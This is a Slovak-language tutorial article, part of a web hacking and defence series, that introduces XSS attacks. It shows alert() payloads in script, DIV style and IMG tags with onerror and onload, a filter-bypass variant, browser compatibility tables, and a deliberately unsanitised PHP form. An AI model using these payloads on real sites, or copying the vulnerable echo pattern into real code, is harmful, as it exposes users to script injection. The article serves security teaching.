Image
16.6.2016 0 Comments

WWW hacking a obrana / 8. časť

V pre­doš­lej čas­ti náš­ho se­riá­lu sme ukon­či­li té­mu SQL In­jec­tion. Te­raz sa vrá­ti­me k úto­kom ty­pu XSS, kto­ré pre­be­rie­me po­drob­nej­šie, a po do­kon­če­ní XSS sa nás­led­ne v ďal­ších čas­tiach se­riá­lu bu­de­me ve­no­vať aj cel­ko­vej bez­peč­nos­ti ap­li­ká­cií v PHP. Naj­prv vám však v nie­koľ­kých nas­le­du­jú­cich čas­tiach pred­sta­ví­me mož­né ty­py úto­kov a na­ko­niec vám uká­že­me, ako sa pro­ti nim brá­niť a ako ich ošet­riť. Pre­to­že po­tom už bu­de­te po­znať to, pro­ti čo­mu sa má­te brá­niť. Ty­py úto­kov bu­de­me ko­men­to­vať a opi­so­vať, pre­čo fun­gu­jú.

XSS (Cross Si­te Scrip­ting)
Žiaľ, úto­ky ty­pu XSS sú nie­len­že jed­no­duc­ho us­ku­toč­ni­teľ­né, ale spô­so­by in­jek­to­va­nia kó­du mô­žu mať veľ­mi ve­ľa po­dôb, čo vý­raz­ne sťa­žu­je ošet­re­nie. Ho­ci XSS zna­me­ná scrip­ting, te­da skrip­to­va­nie, nie je to prav­da, pre­to­že pri tom­to ty­pe úto­kov ide aj o vkla­da­nie kó­du HTML ale­bo ho­ci­ja­ké­ho kó­du, kto­rý do­ká­že webo­vý preh­lia­dač inter­pre­to­vať 1. Lep­šie po­ve­da­né, ide o vkla­da­nie kó­du, kto­rý do­ká­že inter­pre­to­vať webo­vý preh­lia­dač. My sa naj­prv bu­de­me ve­no­vať kla­sic­kým XSS, a pre­to za­čí­na­me tag­mi <script>.

1. Tre­ba po­dot­knúť, že nap­rík­lad preh­lia­dač Inter­net Explo­rer po­dpo­ru­je aj tec­hno­ló­giu Vi­sual Ba­sic Script (VBScr­pit), a pre­to mož­no vkla­dať aj prí­ka­zy toh­to skrip­to­va­cie­ho ja­zy­ka. Rov­na­ké je to aj so zá­suv­ným mo­du­lom ne­ja­ké­ho webo­vé­ho preh­lia­da­ča, kto­rý by inter­pre­to­val ur­či­té prí­ka­zy v zdro­jo­vom kó­de.
<script lan­gua­ge="VBScript">MsgBox "Hac­ked!"</script>

Na po­cho­pe­nie si zo­ber­me kos­tru ta­gu script.
<script lan­gua­ge="Ja­vaS­cript">

</script>

Webo­vé preh­lia­da­če bu­dú ce­lý kód med­zi tý­mi­to tag­mi par­so­vať ako kód ja­zy­ka Ja­vaS­cript. Ak sa te­da po­kú­si­me vlo­žiť ten­to kód:
<script lan­gua­ge="Ja­vaS­cript">Tak­to sa text vy­pí­sať ne­dá!</script>
preh­lia­dač sa bu­de po­kú­šať kód med­zi pá­ro­vým ta­gom <<script> vy­ko­ná­vať a nas­ta­ne chy­ba, pre­to­že tam sa ne­bu­de nac­hád­zať kód Ja­vaS­crip­tu, ale len oby­čaj­ný text.

Vy­pí­sať text mô­že­me nas­le­du­jú­cim spô­so­bom.
<script lan­gua­ge="Ja­vaS­cript">do­cu­ment.wri­te("Tak­to sa dá vy­pí­sať
text!");</script>

Ak útoč­ník chce obísť filtro­va­nie, mô­že sa po­kú­siť vlo­žiť kód po­dob­ný to­mu nas­le­du­jú­ce­mu:
<script lan­gua­ge="Ja­vaS­cript">do­cu­ment.wri­te(</script>"
<script>alert("Hac­ked!");</script>");</script>>

Ak vlo­ží ten­to kód do na­šej ukáž­ko­vej ap­li­ká­cie, fun­kcia alert() sa vy­ko­ná, aj keď to na pr­vý po­hľad tak ne­vy­ze­rá. Po­dob­né úto­ky in­jek­to­va­nia kó­du však nac­hád­za­jú up­lat­ne­nie až pri filtro­va­ní slov. Naj­čas­tej­šie sa filtru­je slo­vo (re­ťa­zec) script. No ani to nes­ta­čí. O tom, ako nap­rog­ra­mo­vať dob­rý filtro­va­cí al­go­rit­mus, na­pí­še­me až v niek­to­rej ďal­šej čas­ti se­riá­lu.

Prax
Na nas­le­du­jú­com vý­pi­se sú­bo­ru si mô­že­te otes­to­vať ukáž­ky. Ide opäť o ukáž­ku jed­no­duc­hej webo­vej ap­li­ká­cie, kto­rá ni­ja­ko neo­šet­ru­je vstup.

Sú­bor in­dex.php:

<html>
<head>
<tit­le>Ukáž­ka ap­li­ká­cie, kto­rá je zle nap­rog­ra­mo­va­ná!</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=win­dows-1250">
</head>

<bo­dy>
<form ac­tion="<?php ec­ho $HTTP_SELF; ? >" met­hod="get">
Me­no:
<in­put na­me="me­no" ty­pe="text" si­ze=100>
<in­put na­me="od­os­lat" ty­pe="sub­mit" va­lue="Od­os­lať">
</form>

<?php ec­ho $me­no;? >

</bo­dy>
</html>

Ak sa po­kú­si­me in­jek­to­vať kód <script lan­gua­ge="Ja­vaS­cript>alert("Hac­ked!");</script>, us­pe­je­me na kaž­dom preh­lia­da­či. In­jek­to­va­ný kód bu­de, sa­moz­rej­me, fun­go­vať na všet­kých preh­lia­da­čoch, pre­to­že je to bež­ný tag script, kto­rý spĺňa všet­ky po­žia­dav­ky plat­né­ho ta­gu script.
Sú však aj rôz­ne iné spô­so­by, kto­ré fun­gu­jú na rôz­nych webo­vých preh­lia­da­čoch, a to sú spô­so­by, kto­ré po­uží­va­jú útoč­ní­ci, aby ús­peš­ne in­jek­to­va­li kód do webo­vej ap­li­ká­cie.

1. spô­sob
Ide o tag <DIV>, v kto­rom pri­ra­dí­me pr­vkom nac­hád­za­jú­cim sa med­zi tým­to ta­gom ur­či­té vlas­tnos­ti – STY­LE. Pa­ra­met­ru STY­LE však pri­ra­dí­me hod­no­tu, kto­rá sa rov­ná ja­vas­cript:alert(). Ide o CSS, kto­ré nas­ta­vu­je po­za­die strán­ky. Na­mies­to umies­tne­nia ob­ráz­ka za­dá­me ako URL skript ja­zy­ka Ja­vaS­cript.

<DIV STY­LE="background-ima­ge: url(ja­vas­cript:alert())">

Fi­re­fox

NIE

Inter­net Explo­rer 6

ÁNO

Inter­net Explo­rer 7

NIE

Net­sca­pe Na­vi­ga­tor

NIE

Ope­ra

NIE

Sa­fa­ri

NIE

2. spô­sob
Ten­to spô­sob je ta­kis­to jas­ný hneď na pr­vý po­hľad. Preh­lia­dač za­čne par­so­vať kód v ta­gu IMG, kde na­ra­zí na pa­ra­me­ter src, kto­rý ur­ču­je zdroj (umies­tne­nie) ob­ráz­ka. Ako zdroj ob­ráz­ka však mož­no uviesť skript.

<IMG src="ja­vas­cript:alert('Hac­ked!');">
<IMG src=ja­vas­cript:alert('Hac­ked!')>

Fun­go­vať bu­de aj nas­le­du­jú­ci kód, kto­rý zob­ra­zí sprá­vu s textom XSS.
<IMG SRC=ja­vas­cript:alert(String.from­Char­Co­de(88,83,83))>

Úvod­zov­ky ta­kis­to mož­no za­pí­sať aj ako ".
<img src =ja­vas­cript:alert("XSS-at­tack!")>

Fi­re­fox

NIE

Inter­net Explo­rer 6

ÁNO

Inter­net Explo­rer 7

NIE

Net­sca­pe Na­vi­ga­tor

NIE

Ope­ra

ÁNO

Sa­fa­ri

NIE

3. spô­sob
Tag IMG mô­že ob­sa­ho­vať pa­ra­me­ter src, kto­rý mô­že ob­sa­ho­vať re­gu­lár­nu ces­tu k ob­ráz­ku, kto­rý neexis­tu­je, a ďal­šie­mu pa­ra­met­ru onerror pri­ra­dí­me ja­vas­krip­to­vý kód, kto­rý sa vy­ko­ná v prí­pa­de, že sa ob­rá­zok ne­po­da­rí náj­sť.
Vý­ho­da toh­to spô­so­bu z po­hľa­du útoč­ní­ka je tá, že in­jek­to­va­ný kód jed­no­duc­hšie prej­de cez filtro­va­nie, pre­to­že ne­pot­re­bu­je mať v se­be re­ťa­zec Ja­vaS­cript ako v pred­chád­za­jú­com spô­so­be.
<IMG src="neexis­tu­ju­ci_ob­ra­zok.gif" onerror=alert('Hac­ked!');>

Ta­kis­to mož­no po­užiť aj ces­tu k exis­tu­jú­ce­mu ob­ráz­ku a pa­ra­met­ru on­load nas­ta­viť ja­vas­krip­to­vý kód, kto­rý sa má vy­ko­nať v prí­pa­de, že sa ob­rá­zok po­da­rí na­čí­tať.
<IMG src="exis­tu­je.png" on­load=alert('Hac­ked!');>

Fi­re­fox

ÁNO

Inter­net Explo­rer 6

ÁNO

Inter­net Explo­rer 7

ÁNO

Net­sca­pe Na­vi­ga­tor

ÁNO

Ope­ra

ÁNO

Sa­fa­ri

ÁNO

Tes­to­va­né preh­lia­da­če:
Mo­zil­la Fi­re­fox v. 2.0.0.6 (Mo­zil­la)>br> Sa­fa­ri 3.0.3 (App­le Inc.)
Mic­ro­soft Inter­net Explo­rer 6 (Mic­ro­soft)
Win­dows Inter­net Explo­rer 7.0 (Mic­ro­soft)
Ope­ra 9.23 (Ope­ra Software ASA)
Net­sca­pe Na­vi­ga­tor 9.0 (Net­sca­pe Com­mu­ni­ca­tions Cor­po­ra­tion)

Ho­ci uka­zu­je­me, aké úto­ky XSS sa po­da­rí vy­ko­nať na da­nom webo­vom preh­lia­da­či, nez­na­me­ná to, že je to chy­ba len webo­vé­ho preh­lia­da­ča, je to stá­le aj chy­ba ošet­ro­va­nia po­uží­va­teľ­ské­ho vstu­pu a vý­stu­pu.

Zá­ver
Ten­to­raz sme vám pred­sta­vi­li mož­né spô­so­by in­jek­to­va­nia kó­du XSS po­uži­tím pá­ro­vých ta­gov <DIV> a <IMG>, kto­ré sú vo webo­vých ap­li­ká­ciách čas­to po­vo­le­né, pre­to­že prog­ra­má­tor ne­mys­lí na ich po­ten­ciál­ne bez­peč­nos­tné ri­zi­ko. Tre­ba však po­ve­dať, že ne­mož­no po­znať všet­ky spô­so­by úto­kov, pro­ti kto­rým tre­ba webo­vé ap­li­ká­cie za­bez­pe­čiť, pre­to­že to nie je iba otáz­ka stá­le sa roz­ras­ta­jú­cich tec­hno­ló­gií AJAX a iných, ale aj kon­krét­nej im­ple­men­tá­cie v preh­lia­da­čoch. Pre­to vám pri­ná­ša­me pri kaž­dej ukáž­ke aj ta­buľ­ku s údaj­mi, či bu­de ten­to in­jek­to­va­ný kód na da­nom preh­lia­da­či inter­pre­to­va­ný ús­peš­ne (z po­hľa­du útoč­ní­ka).

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to

Tipy a triky: Ako na snímku obrazovky na akomkoľvek počítači s Windows?

02.12.2016 00:13

Ak snímky obrazovky robíte často apotrebujete napríklad funkcie na posun stránok alebo snímanie zobrazenia pri vyššom rozlíšení displeja, zrejme používate nejakú špecializovanú aplikáciu. Väčšina použ ...

Ako na to 1

Tipy a triky: Ako aplikácii prednastaviť spúšťanie s administrátorskými právami?

30.11.2016 00:10

Väčšina aspoň trochu skúsenejších používateľov vie, že aj keď máte na operačnom systéme Windows vytvorený administrátorský účet, aplikácie pre bezpečnosť nefungujú vždy splnými administrátorskými práv ...

Ako na to 2

Tipy a triky: Ako vypnúť uzamykaciu obrazovku vo Windows 10?

29.11.2016 00:10

Rozčuľuje vás, že pred každým prihlásením doúčtu vášho počítača musíte prejsť uzamykacou obrazovkou? Windows 10 na tejto obrazovke ukazuje čas,dátum anejakú zaujímavú fotografiu zrôznych kútov sveta. ...

Žiadne komentáre

Vyhľadávanie

Kyocera - prve-zariadenia-formatu-a4-s-vykonom-a3

Najnovšie videá